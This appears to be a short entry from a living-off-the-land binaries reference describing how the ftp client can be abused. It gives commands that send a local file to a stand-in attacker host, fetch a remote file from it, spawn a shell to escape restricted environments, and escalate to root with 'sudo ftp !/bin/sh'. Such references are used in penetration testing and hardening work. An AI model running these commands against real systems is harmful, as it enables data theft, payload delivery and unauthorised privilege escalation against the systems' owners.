It can be used to break out from restricted environments by spawning an interactive system shell.
It can exfiltrate files on the network.
Send local file to a FTP server.
RHOST=attacker.com ftp $RHOST put file_to_send
It can download remote files.
Fetch a remote file from a FTP server.
RHOST=attacker.com ftp $RHOST get file_to_get
If the binary is allowed to run as superuser by
sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo ftp !/bin/sh